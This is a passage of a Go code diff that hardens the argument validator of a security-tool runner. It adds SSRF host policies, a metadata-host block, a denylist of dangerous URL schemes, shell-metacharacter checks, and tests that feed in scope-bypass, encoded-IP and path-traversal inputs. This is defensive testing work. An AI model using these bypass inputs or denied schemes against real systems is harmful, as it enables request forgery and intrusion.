len(s); i++ { + if s[i] < '0' || s[i] > '9' { + return false + } + } + return true +} + +// hasPunycodeLabel reports whether any DNS label in host is an A-label +// (xn-- prefix). Comparison is case-insensitive per IDNA: XN--, Xn-- and +// xN-- all count. Used to defend against IDN homoglyph bypass. +func hasPunycodeLabel(host string) bool { + for _, label := range strings.Split(host, ".") { + if len(label) >= 4 && strings.EqualFold(label[:4], "xn--") { + return true + } + } + return false +} + +// CheckLiteralHost applies the host policy to the manifest-controlled host +// of an [http] url (hostport may carry a :port). A literal address, or one +// embedded in a wildcard-DNS name, goes through the range table: link-local +// / metadata always, the non-public ranges when blockInternal. The +// metadata hostname is always refused; the rest of the internal-name +// denylist applies under blockInternal, so a manifest that targets a local +// API without the opt-in keeps working. The name is not resolved here: this +// runs at load, and the host is the author's, not the caller's. +func CheckLiteralHost(hostport string, blockInternal bool) error { + const name = "http.url" + host, _, err := splitURLHostPort(hostport) + if err != nil { + return newErr(name, err.Error()) + } + if addr, ok := parseCanonicalIP(host); ok { + return enforceIPPolicy(name, addr, blockInternal) + } + if addr, ok := embeddedIPLiteral(host); ok { + if err := enforceIPPolicy(name, addr, blockInternal); err != nil { + return err + } + } + if strings.EqualFold(strings.TrimSuffix(host, "."), "metadata.google.internal") { + return newErr(name, "target is the cloud metadata name — always blocked") + } + if blockInternal { + if err := enforceInternalName(name, host); err != nil { + return err + } + } + return nil +} diff --git a/go/pkg/validator/scope_test.go b/go/pkg/validator/scope_test.go new file mode 100644 index 0000000..eb03c51 --- /dev/null +++ b/go/pkg/validator/scope_test.go @@ -0,0 +1,418 @@ +package validator + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/thirdkeyai/toolclad/pkg/manifest" + "github.com/thirdkeyai/toolclad/pkg/scope" +) + +const noScopeMsg = "scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)" + +// TestSharedScopeVectorsValidation runs the validator-level sections of the +// shared tests/scope_vectors.json file. +func TestSharedScopeVectorsValidation(t *testing.T) { + data, err := os.ReadFile(filepath.Join("..", "..", "..", "tests", "scope_vectors.json")) + if errors.Is(err, os.ErrNotExist) { + t.Skip("tests/scope_vectors.json not present; shared scope vectors skipped") + } + if err != nil { + t.Fatal(err) + } + var v struct { + Vectors struct { + ScopeTargetValidation []struct { + Value string `json:"value"` + Valid bool `json:"valid"` + } `json:"scope_target_validation"` + URLScopeCheck []struct { + URL string `json:"url"` + AllowedHosts []string `json:"allowed_hosts"` + Expected bool `json:"expected"` + } `json:"url_scope_check"` + } `json:"vectors"` + } + if err := json.Unmarshal(data, &v); err != nil { + t.Fatal(err) + } + if len(v.Vectors.ScopeTargetValidation) == 0 || len(v.Vectors.URLScopeCheck) == 0 { + t.Fatal("scope vector sections missing") + } + for _, c := range v.Vectors.ScopeTargetValidation { + _, err := ValidateArg(&manifest.ArgDef{Name: "target", Type: "scope_target"}, c.Value) + if (err == nil) != c.Valid { + t.Errorf("scope_target %q: valid=%v, err=%v", c.Value, c.Valid, err) + } + } + for _, c := range v.Vectors.URLScopeCheck { + sc := &scope.ScopeDef{AllowedDomains: c.AllowedHosts} + def := &manifest.ArgDef{Name: "url", Type: "url", ScopeCheck: true} + _, err := ValidateArgIn(def, c.URL, false, sc) + if (err == nil) != c.Expected { + t.Errorf("url %q in %v: expected=%v, err=%v", c.URL, c.AllowedHosts, c.Expected, err) + } + } +} + +func TestScopeCheckFailsClosed(t *testing.T) { + for _, typ := range []string{"scope_target", "url", "ip_address", "cidr"} { + val := map[string]string{ + "scope_target": "example.com", + "url": "https://example.com/", + "ip_address": "10.0.1.5", + "cidr": "10.0.1.0/25", + }[typ] + def := &manifest.ArgDef{Name: "t", Type: typ, ScopeCheck: true} + _, err := ValidateArgIn(def, val, false, nil) + if err == nil || err.Error() != "validation error for 't': "+noScopeMsg { + t.Errorf("%s: want fail-closed refusal, got %v", typ, err) + } + // The legacy entry points have no scope and must fail closed too. + if _, err := ValidateArg(def, val); err == nil { + t.Errorf("%s: ValidateArg without scope accepted a scope_check arg", typ) + } + } +} + +func TestScopeCheckMatching(t *testing.T) { + sc := &scope.ScopeDef{ + AllowedDomains: []string{"example.com", "*.example.com"}, + AllowedCIDRs: []string{"10.0.1.0/24"}, + BlockedDomains: []string{"admin.example.com"}, + BlockedCIDRs: []string{"10.0.1.250/32"}, + } + cases := []struct { + typ, val string + ok bool + }{ + {"scope_target", "example.com", true}, + {"scope_target", "app.example.com", true}, + {"scope_target", "deep.sub.example.com", true}, + {"scope_target", "evil-example.com", false}, + {"scope_target", "admin.example.com", false}, // blocked beats allowed + {"scope_target", "10.0.1.5", true}, + {"scope_target", "10.0.1.250", false}, + {"scope_target", "10.0.1.0/25", true}, + {"scope_target", "10.0.0.0/8", false}, + {"url", "https://app.example.com:8443/x?y#z", true}, + {"url", "https://admin.example.com/", false}, + {"url", "http://10.0.1.7/", true}, + {"url", "https://example.com.evil.com/", false}, + {"ip_address", "10.0.1.9", true}, + {"ip_address", "10.0.2.9", false}, + {"cidr", "10.0.1.0/28", true}, + {"cidr", "10.0.0.0/16", false}, + {"cidr", "10.0.1.248/29", false}, // overlaps the blocked host + } + for _, c := range cases { + def := &manifest.ArgDef{Name: "t", Type: c.typ, ScopeCheck: true} + _, err := ValidateArgIn(def, c.val, false, sc) + if (err == nil) != c.ok { + t.Errorf("%s %q: ok=%v, err=%v", c.typ, c.val, c.ok, err) + } + if err != nil && !c.ok && !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("%s %q: unexpected refusal %v", c.typ, c.val, err) + } + } + // Apex not matched by the wildcard alone. + wild := &scope.ScopeDef{AllowedDomains: []string{"*.example.com"}} + _, err := ValidateArgIn(&manifest.ArgDef{Name: "t", Type: "scope_target", ScopeCheck: true}, "example.com", false, wild) + if err == nil || err.Error() != "validation error for 't': target 'example.com' is not in scope" { + t.Errorf("apex: got %v", err) + } + // A url refusal names the host. + _, err = ValidateArgIn(&manifest.ArgDef{Name: "u", Type: "url", ScopeCheck: true}, "https://evil.com/a", false, wild) + if err == nil || err.Error() != "validation error for 'u': target 'evil.com' is not in scope" { + t.Errorf("url refusal: got %v", err) + } +} + +func TestScopeAndBlockInternalBothApply(t *testing.T) { + sc := &scope.ScopeDef{AllowedCIDRs: []string{"10.0.1.0/24"}, AllowedDomains: []string{"example.com"}} + def := &manifest.ArgDef{Name: "t", Type: "scope_target", ScopeCheck: true, BlockInternal: true} + // In scope but internal: block_internal still refuses. + _, err := ValidateArgIn(def, "10.0.1.5", false, sc) + if err == nil || !strings.Contains(err.Error(), "block_internal") { + t.Errorf("in-scope internal target: want block_internal refusal, got %v", err) + } + // Public but out of scope: the scope refuses. + _, err = ValidateArgIn(def, "8.8.8.8", false, sc) + if err == nil || !strings.Contains(err.Error(), "is not in scope") { + t.Errorf("public out-of-scope target: want scope refusal, got %v", err) + } +} + +func TestScopeCheckWithCustomTypes(t *testing.T) { + cts := map[string]*manifest.CustomTypeDef{"host": {Base: "scope_target"}, "label": {Base: "string"}} + sc := &scope.ScopeDef{AllowedDomains: []string{"example.com"}} + def := &manifest.ArgDef{Name: "t", Type: "host", ScopeCheck: true} + if _, err := ValidateArgWithCustomTypesIn(def, "example.com", cts, false, sc); err != nil { + t.Errorf("in scope: %v", err) + } + if _, err := ValidateArgWithCustomTypesIn(def, "other.com", cts, false, sc); err == nil { + t.Error("out of scope custom type accepted") + } + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{"l": {Name: "l", Type: "label", ScopeCheck: true}}, + } + if err := ValidateManifestWithCustomTypes(m, cts); err == nil || + !strings.Contains(err.Error(), "scope_check is not supported for type 'string'") { + t.Errorf("scope_check on a custom string type: got %v", err) + } +} + +// writeManifest writes a manifest into dir (created if needed). +func writeManifest(t *testing.T, dir, body string) string { + t.Helper() + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + p := filepath.Join(dir, "tool.clad.toml") + content := "[tool]\nname = \"t\"\nversion = \"1.0.0\"\ndescription = \"d\"\n\n" + body + + "\n[command]\nexec = [\"echo\", \"{target}\"]\n\n[output]\nformat = \"text\"\n" + if err := os.WriteFile(p, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return p +} + +func writeScopeFile(t *testing.T, dir, content string) string { + t.Helper() + if err := os.MkdirAll(filepath.Join(dir, "scope"), 0o755); err != nil { + t.Fatal(err) + } + p := filepath.Join(dir, "scope", "scope.toml") + if err := os.WriteFile(p, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return p +} + +const scopeArg = "[args.target]\nposition = 1\nrequired = true\ntype = \"scope_target\"\nscope_check = true\n" + +func TestManifestScopeDiscovery(t *testing.T) { + t.Setenv(scope.EnvVar, "") + root := t.TempDir() + writeScopeFile(t, root, "[scope]\nallowed_domains = [\"walk.example\"]\n") + p := writeManifest(t, filepath.Join(root, "tools", "nested"), scopeArg) + m, err := manifest.LoadManifest(p) + if err != nil { + t.Fatal(err) + } + if m.Scope == nil || m.Scope.AllowedDomains[0] != "walk.example" { + t.Fatalf("scope not discovered upward: %+v", m.Scope) + } + if _, err := ValidateArgIn(m.Args["target"], "walk.example", false, m.Scope); err != nil { + t.Errorf("in scope: %v", err) + } + + // TOOLCLAD_SCOPE_FILE wins over the upward walk. + envFile := filepath.Join(t.TempDir(), "env.toml") + if err := os.WriteFile(envFile, []byte("[scope]\nallowed_domains = [\"env.example\"]\n"), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv(scope.EnvVar, envFile) + m, err = manifest.LoadManifest(p) + if err != nil { + t.Fatal(err) + } + if m.Scope == nil || m.Scope.AllowedDomains[0] != "env.example" { + t.Fatalf("env var did not win: %+v", m.Scope) + } + + // An unreadable TOOLCLAD_SCOPE_FILE is a load error, not a fallback. + t.Setenv(scope.EnvVar, filepath.Join(t.TempDir(), "missing.toml")) + if _, err := manifest.LoadManifest(p); err == nil { + t.Error("missing TOOLCLAD_SCOPE_FILE accepted") + } +} + +func TestManifestScopeFailClosedWithoutFile(t *testing.T) { + t.Setenv(scope.EnvVar, "") + dir := t.TempDir() + if s, _ := scope.Discover(dir); s != nil { + t.Skipf("a scope file exists above the temp directory (%s)", s.Path) + } + m, err := manifest.LoadManifest(writeManifest(t, dir, scopeArg)) + if err != nil { + t.Fatal(err) + } + if m.Scope != nil { + t.Fatal("unexpected scope") + } + _, err = ValidateArgIn(m.Args["target"], "example.com", false, m.Scope) + if err == nil || !strings.Contains(err.Error(), noScopeMsg) { + t.Errorf("want fail-closed refusal, got %v", err) + } +} + +func TestManifestScopeFileErrorsAreLoadErrors(t *testing.T) { + t.Setenv(scope.EnvVar, "") + cases := map[string]string{ + "unknown key": "[scope]\nallowed_domains = []\nallowed_hostz = []\n", + "malformed cidr": "[scope]\nallowed_cidrs = [\"10.0.0.0/40\"]\n", + "bad wildcard": "[scope]\nallowed_domains = [\"a.*.example.com\"]\n", + } + for name, content := range cases { + root := t.TempDir() + writeScopeFile(t, root, content) + if _, err := manifest.LoadManifest(writeManifest(t, root, scopeArg)); err == nil { + t.Errorf("%s: manifest loaded with a bad scope file", name) + } + } +} + +func TestScopeCheckUnsupportedTypeIsLoadError(t *testing.T) { + t.Setenv(scope.EnvVar, "") + p := writeManifest(t, t.TempDir(), "[args.target]\nposition = 1\nrequired = true\ntype = \"string\"\nscope_check = true\n") + _, err := manifest.LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "scope_check is not supported for type 'string'") { + t.Errorf("got %v", err) + } +} + +func TestDefaultsValidatedAtLoad(t *testing.T) { + t.Setenv(scope.EnvVar, "") + t.Setenv(manifest.ConfigEnvVar, "") + bad := map[string]string{ + "port zero": "type = \"port\"\ndefault = 0\n", + "integer below min": "type = \"integer\"\nmin = 1\ndefault = 0\n", + "string with space": "type = \"string\"\ndefault = \"a b\"\n", + "enum not allowed": "type = \"enum\"\nallowed = [\"a\"]\ndefault = \"b\"\n", + "duration": "type = \"duration\"\ndefault = \"5 m\"\n", + } + for name, spec := range bad { + p := writeManifest(t, t.TempDir(), "[args.target]\nposition = 1\n"+spec) + _, err := manifest.LoadManifest(p) + if err == nil || !strings.Contains(err.Error(), "argument 'target': invalid default") { + t.Errorf("%s: want load error naming the argument, got %v", name, err) + } + } + good := map[string]string{ + "empty string": "type = \"string\"\ndefault = \"\"\n", + "empty string with pattern": "type = \"string\"\npattern = \"^[a-z]+$\"\ndefault = \"\"\n", + "port": "type = \"port\"\ndefault = 443\n", + "integer": "type = \"integer\"\nmin = 1\ndefault = 5\n", + "enum": "type = \"enum\"\nallowed = [\"a\"]\ndefault = \"a\"\n", + "number": "type = \"number\"\ndefault = 0.5\n", + "boolean": "type = \"boolean\"\ndefault = true\n", + } + for name, spec := range good { + p := writeManifest(t, t.TempDir(), "[args.target]\nposition = 1\n"+spec) + if _, err := manifest.LoadManifest(p); err != nil { + t.Errorf("%s: %v", name, err) + } + } + // An unknown type is a load error; a custom-typed default is checked + // at load against the custom type. + unknown := writeManifest(t, t.TempDir(), "[args.target]\nposition = 1\ntype = \"rate\"\ndefault = 0\n") + if _, err := manifest.LoadManifest(unknown); err == nil || !strings.Contains(err.Error(), "unknown type 'rate' for argument 'target'") { + t.Errorf("unknown type: got %v", err) + } + cts := map[string]*manifest.CustomTypeDef{"rate": {Base: "integer", Min: intPtr(1)}} + if _, err := manifest.LoadManifestWithOptions(unknown, manifest.LoadOptions{CustomTypes: cts}); err == nil || !strings.Contains(err.Error(), "argument 'target': invalid default") { + t.Errorf("custom-typed default: got %v", err) + } + ok := writeManifest(t, t.TempDir(), "[args.target]\nposition = 1\ntype = \"rate\"\ndefault = 3\n") + m, err := manifest.LoadManifestWithOptions(ok, manifest.LoadOptions{CustomTypes: cts}) + if err != nil { + t.Fatal(err) + } + if err := ValidateManifestWithCustomTypes(m, map[string]*manifest.CustomTypeDef{"rate": {Base: "integer", Min: intPtr(5)}}); err == nil || !strings.Contains(err.Error(), "invalid default") { + t.Errorf("custom-typed default re-check: got %v", err) + } +} + +func TestStrictNumericAndDuration(t *testing.T) { + cases := []struct { + typ, in, out string + ok bool + }{ + {"integer", "", "", false}, + {"integer", "0x10", "", false}, + {"integer", "1_000", "", false}, + {"integer", " 7 ", "", false}, + {"integer", "7\n", "", false}, + {"integer", "+7", "7", true}, + {"integer", "42", "42", true}, + {"port", "+80", "", false}, + {"port", "0", "", false}, + {"port", "65536", "", false}, + {"port", " 80", "", false}, + {"port", "080", "80", true}, + {"port", "443", "443", true}, + {"duration", "5m\n", "", false}, + {"duration", "1_000", "", false}, + {"duration", " 7 ", "", false}, + {"duration", "5 m", "", false}, + {"duration", "+5", "", false}, + {"duration", "-5", "", false}, + {"duration", "", "", false}, + {"duration", "30", "30", true}, + {"duration", "1h30m", "1h30m", true}, + {"duration", "500ms", "500ms", true}, + {"number", "NaN", "", false}, + {"number", "inf", "", false}, + {"number", "Infinity", "", false}, + {"number", "0x1p3", "", false}, + {"number", " 1.5", "", false}, + {"number", "1_0", "", false}, + {"number", "", "", false}, + {"number", "1e2", "100", true}, + {"number", "0.50", "0.5", true}, + {"number", ".5", "0.5", true}, + {"number", "5.", "5", true}, + {"number", "+2.5", "2.5", true}, + {"boolean", "True", "true", true}, + {"boolean", "FALSE", "false", true}, + {"boolean", "yes", "", false}, + } + for _, c := range cases { + got, err := ValidateArg(&manifest.ArgDef{Name: "v", Type: c.typ}, c.in) + if (err == nil) != c.ok { + t.Errorf("%s %q: ok=%v, err=%v", c.typ, c.in, c.ok, err) + continue + } + if c.ok && got != c.out { + t.Errorf("%s %q: got %q, want %q", c.typ, c.in, got, c.out) + } + } +} + +func TestHostShapeAndPathParity(t *testing.T) { + cases := []struct { + typ, in string + ok bool + }{ + {"scope_target", "example.com.", false}, + {"url", "https://example.com./", false}, + {"scope_target", "2001:db8::/32", true}, + {"cidr", "2001:db8::/32", true}, + {"scope_target", "example.123", false}, + {"scope_target", "0x7f000001", false}, + {"path", "..", false}, + {"path", "foo/..", false}, + {"path", `foo\..`, false}, + {"path", `foo/..\bar`, false}, + {"path", "foo/..bar", true}, + {"path", "foo/bar", true}, + {"credential_file", "..", false}, + {"credential_file", `a\..\b`, false}, + } + for _, c := range cases { + _, err := ValidateArg(&manifest.ArgDef{Name: "v", Type: c.typ}, c.in) + if (err == nil) != c.ok { + t.Errorf("%s %q: ok=%v, err=%v", c.typ, c.in, c.ok, err) + } + } + // The IP policy applies to an IPv6 CIDR prefix under block_internal. + if _, err := ValidateArg(&manifest.ArgDef{Name: "v", Type: "scope_target", BlockInternal: true}, "2001:db8::/32"); err == nil { + t.Error("documentation IPv6 CIDR accepted under block_internal") + } +} diff --git a/go/pkg/validator/validator.go b/go/pkg/validator/validator.go index c3fdc4e..f3b8157 100644 --- a/go/pkg/validator/validator.go +++ b/go/pkg/validator/validator.go @@ -4,23 +4,78 @@ package validator import ( "fmt" "math" - "net" - "net/url" + "net/netip" "os" "regexp" + "sort" "strconv" "strings" + "unicode" "github.com/thirdkeyai/toolclad/pkg/manifest" + "github.com/thirdkeyai/toolclad/pkg/scope" +) + +// init registers the strict entry point as the manifest loader's validator +// for per-argument defaults, so a default that fails its own type (built-in +// or custom) is a load error rather than a confusing refusal at run time. +func init() { + manifest.HostPolicy = CheckLiteralHost + manifest.DefaultValidator = func(def *manifest.ArgDef, value string, customTypes map[string]*manifest.CustomTypeDef, s *scope.ScopeDef) error { + d := *def + if d.Type == "" { + d.Type = "string" + } + _, err := ValidateArgWithCustomTypesIn(&d, value, customTypes, false, s) + return err + } +} + +// Strict string forms for the numeric and duration types, checked before +// any parsing so lenient parser behavior (whitespace, underscores, hex, +// NaN, infinity) can never admit a value. +var ( + integerRe = regexp.MustCompile(`^[+-]?[0-9]+$`) + portRe = regexp.MustCompile(`^[0-9]+$`) + numberRe = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`) + secondsRe = regexp.MustCompile(`^[0-9]+$`) + durationRe = regexp.MustCompile(`^(?:[0-9]+h)?(?:[0-9]+m)?(?:[0-9]+s)?(?:[0-9]+ms)?$`) ) // shellMetacharacters contains characters that indicate injection attempts. const shellMetacharacters = ";|&$`(){}[]<>!\n\r" +// hostnameRe is the structural hostname check: dot-separated LDH labels of +// 1-63 characters that neither start nor end with a hyphen. No trailing dot +// is admitted, so the rightmost label is always the TLD that +// tldNotAllNumeric inspects. var hostnameRe = regexp.MustCompile( - `^(?:(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)\.)*(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)\.?$`, + `^(?:(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)\.)*(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)$`, ) +// defaultURLSchemes is the scheme allowlist used when an arg sets none. +var defaultURLSchemes = []string{"http", "https"} + +// deniedURLSchemes are never permitted, even when a manifest lists one in +// `schemes`: each either executes content, reads local files, or speaks a +// protocol that can be driven at an internal service by a crafted URL. +var deniedURLSchemes = map[string]bool{ + "javascript": true, + "data": true, + "file": true, + "blob": true, + "about": true, + "gopher": true, + "dict": true, + "ftp": true, + "ldap": true, + "jar": true, + "netdoc": true, + "mailto": true, + "ws": true, + "wss": true, +} + // ValidationError represents a failed argument validation. type ValidationError struct { Arg string @@ -50,13 +105,181 @@ func CheckInjection(value string) error { return nil } -// ValidateArg validates a value against an argument definition and returns the cleaned value. +// stringDerived lists the types whose value is passed to the tool as text and +// therefore gets the value-hygiene rules (control characters, quotes and +// backslashes, whitespace, leading dash) before type-specific parsing. +var stringDerived = map[string]bool{ + "string": true, + "path": true, + "credential_file": true, + "regex_match": true, + "url": true, + "scope_target": true, + "duration": true, + "msf_options": true, +} + +// numericTypes get the leading-dash rule applied to their output value, after +// range checks and clamping. +var numericTypes = map[string]bool{ + "integer": true, + "number": true, + "port": true, +} + +// ValidateArg validates a value against an argument definition in template +// mode (the strict default: whitespace is always rejected) and returns the +// cleaned value. func ValidateArg(def *manifest.ArgDef, value string) (string, error) { + return ValidateArgMode(def, value, false) +} + +// ValidateArgMode validates a value against an argument definition. execMode +// must be true only when the manifest declared `exec = [...]` directly; it is +// the sole condition under which `allow_whitespace = true` is honored, because +// only the exec form guarantees that a value stays one argv element. +func ValidateArgMode(def *manifest.ArgDef, value string, execMode bool) (string, error) { + return ValidateArgIn(def, value, execMode, nil) +} + +// ValidateArgIn is the full entry point: ValidateArgMode plus the project +// scope consulted when the argument sets scope_check = true. A nil scope +// with scope_check set is a fail-closed refusal. Order: hygiene, type +// parse, host/IP policy (block_internal), then scope. +func ValidateArgIn(def *manifest.ArgDef, value string, execMode bool, sc *scope.ScopeDef) (string, error) { handler, ok := typeHandlers[def.Type] if !ok { return "", newErr(def.Name, fmt.Sprintf("unknown type: %q", def.Type)) } - return handler(def, value) + // NUL is rejected for every type, enum and numerics included. + if strings.ContainsRune(value, 0) { + return "", newErr(def.Name, "must not contain NUL bytes") + } + if stringDerived[def.Type] { + if err := checkHygiene(def, value, execMode); err != nil { + return "", err + } + } + out, err := handler(def, value) + if err != nil { + return "", err + } + if numericTypes[def.Type] { + if err := checkLeadingDash(def, out); err != nil { + return "", err + } + } + if def.ScopeCheck { + if err := checkScope(def, out, sc); err != nil { + return "", err + } + } + return out, nil +} + +// checkScope applies scope_check to a validated value: the host for a url, +// the value itself for scope_target, ip_address and cidr. +func checkScope(def *manifest.ArgDef, value string, sc *scope.ScopeDef) error { + if !manifest.ScopeCheckSupported(def.Type) { + return newErr(def.Name, fmt.Sprintf("scope_check is not supported for type '%s'", def.Type)) + } + subject := value + if def.Type == "url" { + host, err := urlHost(value) + if err != nil { + return newErr(def.Name, err.Error()) + } + subject = host + } + if err := scope.Check(sc, subject); err != nil { + return newErr(def.Name, err.Error()) + } + return nil +} + +// urlHost extracts the host of a url value that validateURL has accepted, +// with any IPv6 brackets and port removed. +func urlHost(value string) (string, error) { + _, rest, found := strings.Cut(value, "://") + if !found { + return "", fmt.Errorf("invalid URL: %q (expected scheme://host)", value) + } + if i := strings.IndexAny(rest, "/?#"); i >= 0 { + rest = rest[:i] + } + host, _, err := splitURLHostPort(rest) + return host, err +} + +// checkHygiene applies the string-derived value rules in order: control +// characters, quotes and backslashes, whitespace, leading dash. +func checkHygiene(def *manifest.ArgDef, value string, execMode bool) error { + // Control characters are rejected unconditionally: every C0 character + // (tab, newline and carriage return included), DEL, and the C1 range. A + // tool argument never needs a control byte, and CR/LF are the + // line-injection characters. + for _, r := range value { + if r < 0x20 || (r >= 0x7f && r <= 0x9f) { + return newErr(def.Name, "must not contain control characters") + } + } + if strings.ContainsAny(value, `'"\`) { + if def.Type == "scope_target" && strings.Contains(value, `\`) { + return newErr(def.Name, fmt.Sprintf("scope_target must not contain backslash escape sequences: %q", value)) + } + return newErr(def.Name, "must not contain quote or backslash characters") + } + // Whitespace: msf_options uses a space as its KEY VALUE separator, and an + // arg may opt in with allow_whitespace when the manifest declared exec. + // Either way only the ASCII space U+0020 is permitted; a non-breaking or + // exotic space is a homoglyph, never a separator. url never permits any. + spaceAllowed := def.Type == "msf_options" || + (def.AllowWhitespace && execMode && def.Type != "url") + for _, r := range value { + if unicode.IsSpace(r) && !(spaceAllowed && r == ' ') { + return newErr(def.Name, "must not contain whitespace") + } + } + return checkLeadingDash(def, value) +} + +// checkLeadingDash rejects a value that would be read as an option by the tool. +func checkLeadingDash(def *manifest.ArgDef, value string) error { + if def.AllowLeadingDash { + return nil + } + if strings.HasPrefix(value, "-") || strings.HasPrefix(value, "+") { + return newErr(def.Name, "must not start with '-' or '+' (set allow_leading_dash = true to permit)") + } + return nil +} + +// AnchorPattern rewrites a manifest `pattern` so it must match the whole +// value: one leading `^` and one trailing unescaped `$` are stripped, then +// the pattern is wrapped as `^(?:)$`. +func AnchorPattern(pat string) string { + pat = strings.TrimPrefix(pat, "^") + if strings.HasSuffix(pat, "$") { + // Count the backslashes immediately before the final `$`; an odd + // count means the `$` is escaped and is a literal, not an anchor. + n := 0 + for i := len(pat) - 2; i >= 0 && pat[i] == '\\'; i-- { + n++ + } + if n%2 == 0 { + pat = pat[:len(pat)-1] + } + } + return "^(?:" + pat + ")$" +} + +// compilePattern compiles an anchored manifest pattern. +func compilePattern(def *manifest.ArgDef) (*regexp.Regexp, error) { + re, err := regexp.Compile(AnchorPattern(def.Pattern)) + if err != nil { + return nil, newErr(def.Name, fmt.Sprintf("invalid pattern %q: %v", def.Pattern, err)) + } + return re, nil } // typeHandler is a function that validates a value for a specific type. @@ -102,9 +325,9 @@ func validateString(def *manifest.ArgDef, value string) (string, error) { return "", newErr(def.Name, err.Error()) } if def.Pattern != "" { - re, err := regexp.Compile(def.Pattern) + re, err := compilePattern(def) if err != nil { - return "", newErr(def.Name, fmt.Sprintf("invalid pattern %q: %v", def.Pattern, err)) + return "", err } if !re.MatchString(value) { return "", newErr(def.Name, fmt.Sprintf("value %q does not match pattern: %s", value, def.Pattern)) @@ -114,40 +337,37 @@ func validateString(def *manifest.ArgDef, value string) (string, error) { } func validateInteger(def *manifest.ArgDef, value string) (string, error) { + if !integerRe.MatchString(value) { + return "", newErr(def.Name, fmt.Sprintf("expected integer, got: %q", value)) + } num, err := strconv.Atoi(value) if err != nil { return "", newErr(def.Name, fmt.Sprintf("expected integer, got: %q", value)) } - if def.Min != nil || def.Max != nil { - lo := num - hi := num - if def.Min != nil { - lo = *def.Min + // Only a declared bound participates in clamping or range checking. + if def.Clamp { + if def.Min != nil && num < *def.Min { + num = *def.Min } - if def.Max != nil { - hi = *def.Max + if def.Max != nil && num > *def.Max { + num = *def.Max } - if def.Clamp { - if num < lo { - num = lo - } - if num > hi { - num = hi - } - } else { - if def.Min != nil && num < lo { - return "", newErr(def.Name, fmt.Sprintf("value %d is below minimum %d", num, lo)) - } - if def.Max != nil && num > hi { - return "", newErr(def.Name, fmt.Sprintf("value %d is above maximum %d", num, hi)) - } + } else { + if def.Min != nil && num < *def.Min { + return "", newErr(def.Name, fmt.Sprintf("value %d is below minimum %d", num, *def.Min)) + } + if def.Max != nil && num > *def.Max { + return "", newErr(def.Name, fmt.Sprintf("value %d is above maximum %d", num, *def.Max)) } } return strconv.Itoa(num), nil } func validateNumber(def *manifest.ArgDef, value string) (string, error) { + if !numberRe.MatchString(value) { + return "", newErr(def.Name, fmt.Sprintf("expected number, got: %q", value)) + } num, err := strconv.ParseFloat(value, 64) if err != nil { return "", newErr(def.Name, fmt.Sprintf("expected number, got: %q", value)) @@ -185,10 +405,22 @@ func validateNumber(def *manifest.ArgDef, value string) (string, error) { return "", newErr(def.Name, fmt.Sprintf("value %g is above maximum %g", num, *hi)) } } - return strconv.FormatFloat(num, 'g', -1, 64), nil + return formatNumber(num), nil +} + +// formatNumber renders the shortest round-trip form of num, with integral +// values written without an exponent (1e2 becomes 100, 0.50 becomes 0.5). +func formatNumber(num float64) string { + if num == math.Trunc(num) { + return strconv.FormatFloat(num, 'f', -1, 64) + } + return strconv.FormatFloat(num, 'g', -1, 64) } func validatePort(def *manifest.ArgDef, value string) (string, error) { + if !portRe.MatchString(value) { + return "", newErr(def.Name, fmt.Sprintf("expected port number, got: %q", value)) + } port, err := strconv.Atoi(value) if err != nil { return "", newErr(def.Name, fmt.Sprintf("expected port number, got: %q", value)) @@ -219,31 +451,34 @@ func validateEnum(def *manifest.ArgDef, value string) (string, error) { return "", newErr(def.Name, fmt.Sprintf("value %q not in allowed values: %v", value, def.Allowed)) } +// isValidHostname is the structural hostname check plus the rule that the +// rightmost label is not all digits — no valid TLD is numeric (RFC 3696 +// §2), which also stops dotted-decimal IP forms from passing as names. func isValidHostname(value string) bool { - return hostnameRe.MatchString(value) && len(value) <= 253 + return len(value) <= 253 && hostnameRe.MatchString(value) && tldNotAllNumeric(value) } func isValidIP(value string) bool { - return net.ParseIP(value) != nil + _, ok := parseCanonicalIP(value) + return ok } -func isValidCIDR(value string) bool { +// parseCanonicalCIDR parses only canonical CIDR text: a canonical address +// (see parseCanonicalIP) followed by a decimal prefix length in range. +func parseCanonicalCIDR(value string) (netip.Prefix, bool) { if !strings.Contains(value, "/") { - return false + return netip.Prefix{}, false } - _, _, err := net.ParseCIDR(value) - return err == nil + prefix, err := netip.ParsePrefix(value) + if err != nil || prefix.Addr().Zone() != "" { + return netip.Prefix{}, false + } + return prefix, true } -// hasPunycodeLabel returns true if any DNS label in `host` is an A-label -// (xn-- prefix, case-insensitive). Used to defend against IDN homoglyph bypass. -func hasPunycodeLabel(host string) bool { - for _, label := range strings.Split(host, ".") { - if len(label) >= 4 && strings.EqualFold(label[:4], "xn--") { - return true - } - } - return false +func isValidCIDR(value string) bool { + _, ok := parseCanonicalCIDR(value) + return ok } func isASCII(s string) bool { @@ -305,35 +540,203 @@ func validateScopeTarget(def *manifest.ArgDef, value string) (string, error) { return "", newErr(def.Name, fmt.Sprintf("scope_target must not contain punycode (xn--) labels — IDN/IDNA hostnames are rejected to prevent homoglyph bypass; gate IDN registration upstream if needed: %q", value)) } - if !isValidIP(value) && !isValidCIDR(value) && !isValidHostname(value) { + // Canonical IP literals only (see parseCanonicalIP): the egress policy + // is applied to the literal address. + if addr, ok := parseCanonicalIP(value); ok { + if err := enforceIPPolicy(def.Name, addr, def.BlockInternal); err != nil { + return "", err + } + return value, nil + } + + // CIDR ranges: the policy is tested for overlap with every blocked + // range, so a supernet cannot carry a blocked range past the check. + if prefix, ok := parseCanonicalCIDR(value); ok { + if err := enforceCIDRPolicy(def.Name, prefix, def.BlockInternal); err != nil { + return "", err + } + return value, nil + } + + // 